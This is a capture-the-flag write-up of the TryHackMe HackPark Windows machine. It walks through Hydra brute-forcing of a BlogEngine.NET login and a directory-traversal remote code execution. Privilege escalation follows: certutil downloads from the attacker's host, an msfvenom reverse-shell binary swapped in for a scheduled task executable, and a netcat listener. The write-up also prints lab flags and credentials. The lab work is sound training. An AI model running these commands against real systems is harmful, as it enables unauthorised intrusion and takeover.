HackPark - TryHackMe Writeup

HackPark - TryHackMe Writeup

HackPark is a beginner-friendly Windows machine that teaches web application brute-forcing, exploit research, and Windows privilege escalation through scheduled task misconfigurations.

Difficulty: Medium ⭐⭐
Operating System: Windows Server 2012 R2
Themes: Web Brute-Forcing, BlogEngine Exploitation, Windows Privilege Escalation

---

Objectives

1. Brute-force the web application login
2. Exploit BlogEngine.NET vulnerability for initial access
3. Enumerate Windows system for privilege escalation vectors
4. Escalate to Administrator via scheduled task exploitation

---

Reconnaissance

Nmap Scan

Started with a comprehensive scan (note: machine doesn’t respond to ICMP):

nmap -Pn -T5 -sCV 10.10.19.138

Results:

PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: HackPark | HackPark Amusements
| http-robots.txt: 6 disallowed entries
3389/tcp open  ms-wbt-server Microsoft Terminal Services
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Key Findings:

• Port 80: Web server running Microsoft IIS/8.5
• Port 3389: RDP service enabled
• robots.txt: Contains disallowed directories that might be sensitive

Web Enumeration

The website on port 80 features a Pennywise theme and contains a login page:

Login page located at:

---

Initial Access

Brute-Force Attack with Hydra

Intercepted the login request with Burp Suite to analyze parameters:

POST Request Analysis:

• URL: /Account/login.aspx?ReturnURL=%2fadmin%2f
• Parameters: __VIEWSTATE, txtUser, txtPass, btnLogin
• Failure indicator: “Login Failed”

Hydra Command:

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.70.199 http-post-form "/Account/login.aspx?ReturnURL=%2fadmin%2f:__VIEWSTATE=...&txtUser=^USER^&txtPass=^PASS^&btnLogin=Login:Login Failed"

Credentials Found:

[80][http-post-form] host: 10.10.70.199   login: admin   password: 1qaz2wsx

Admin Dashboard Access

Logged in with admin:1qaz2wsx:

System Information Discovered:

BlogEngine.NET Specification
Version: 3.3.6.0
Configuration: Single blog
Trust level: Unrestricted
Identity: IIS APPPOOL\Blog

Exploit Research

Found exploit for BlogEngine.NET 3.3.6.0:

Exploit-DB: BlogEngine.NET 3.3.6 - Directory Traversal / Remote Code Execution

Exploitation Process

1. Upload Malicious File:
   Accessed the post editor at /admin/app/editor/editpost

2. Trigger Exploit:
   Accessed the vulnerable endpoint:

   http://10.10.70.199/?theme=../../App_Data/files
   

3. Reverse Shell Obtained:

---

Privilege Escalation

System Information

systeminfo

Key Details:

• OS: Windows Server 2012 R2 Standard (6.3.9600)
• Architecture: x64-based PC
• Hotfixes installed (indicating some updates applied)

WinPEAS Enumeration

1. Download WinPEAS:

   certutil.exe -urlcache -f http://10.11.145.45:3000/winPEASx64.exe winPEASx64.exe
   

2. Run WinPEAS:

   .\winPEASx64.exe
   

Critical Findings:

1. AutoLogon Credentials:

   DefaultUserName: administrator
   DefaultPassword: 4q6XvFES7Fdxs
   

2. Vulnerable Scheduled Task:

   WindowsScheduler (Splinterware Software Solutions - System Scheduler Service)
   Location: C:\PROGRA~2\SYSTEM~1\WService.exe
   Status: Auto - Running
   File Permissions: Everyone [Allow: WriteData/CreateFiles]
   Possible DLL Hijacking in binary folder
   

Scheduled Task Analysis

Navigated to SystemScheduler directory:

cd "C:\Program Files (x86)\SystemScheduler"
dir

Discovered: Message.exe executable

Event Log Analysis:

cd Events
more 20198415519.INI_LOG.txt

Log Content:

08/04/19 15:06:01,Event Started Ok, (Administrator)
08/04/19 15:06:30,Process Ended. PID:2608,ExitCode:1,Message.exe (Administrator)

Key Insight: Message.exe runs every 30 seconds as Administrator

Exploitation Strategy

1. Generate Reverse Shell Payload:

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.145.45 LPORT=8888 -f exe > Message.exe
   

2. Transfer Payload to Target:

   certutil.exe -urlcache -f http://10.11.145.45:8000/Message.exe Message.exe
   

3. Wait for Execution:
   The scheduled task automatically executes the malicious Message.exe

4. Receive Reverse Shell:

   # On attacker machine
   nc -nlvp 8888
      
   # Connection received
   Microsoft Windows [Version 6.3.9600]
   C:\PROGRA~2\SYSTEM~1>
   

Flag Capture

User Flag (jeff):

C:\Users\jeff\Desktop>type user.txt
759bd8af507517bcfaede78a21a73e39

Root Flag (Administrator):

C:\Users\Administrator\Desktop>type root.txt
7e13d97f05f7ceb9881a3eb3d78d3e72

Alternative Authentication:
Could also use discovered AutoLogon credentials:

• Username: administrator
• Password: 4q6XvFES7Fdxs

---

Key Takeaways

Attack Path Summary:

Port Scanning → Web Enumeration → Hydra Brute-Force → 
BlogEngine.NET RCE → Initial Shell → WinPEAS Enumeration → 
Scheduled Task Analysis → Binary Replacement → Administrator Shell

Vulnerabilities Exploited:

1. Weak Credentials - Predictable admin password
2. BlogEngine.NET RCE - CVE-2019-6714 (Directory Traversal/File Upload)
3. Scheduled Task Misconfiguration - World-writable executable directory
4. AutoLogon Credentials - Clear-text credentials in registry

Mitigation Strategies:

1. For Web Applications:
   • Implement strong password policies
   • Enable account lockout mechanisms
   • Regular software updates
   • Input validation and sanitization
2. For Windows Security:
   • Principle of least privilege for file permissions
   • Regular scheduled task audits
   • Disable AutoLogon or use encrypted credentials
   • Implement AppLocker or similar application whitelisting
3. For Network Security:
   • Network segmentation
   • Regular vulnerability assessments
   • Security monitoring and logging

Tools Used:

• Nmap - Network reconnaissance
• Hydra - Password brute-forcing
• Burp Suite - Web traffic analysis
• WinPEAS - Windows privilege escalation enumeration
• Metasploit - Payload generation
• Certutil - File transfer on Windows
• Netcat - Reverse shell handling

---

Find me online:
• TryHackMe: t4t4r1s
• LinkedIn: Mustafa Altayeb
• X: @mustafa_altayeb

---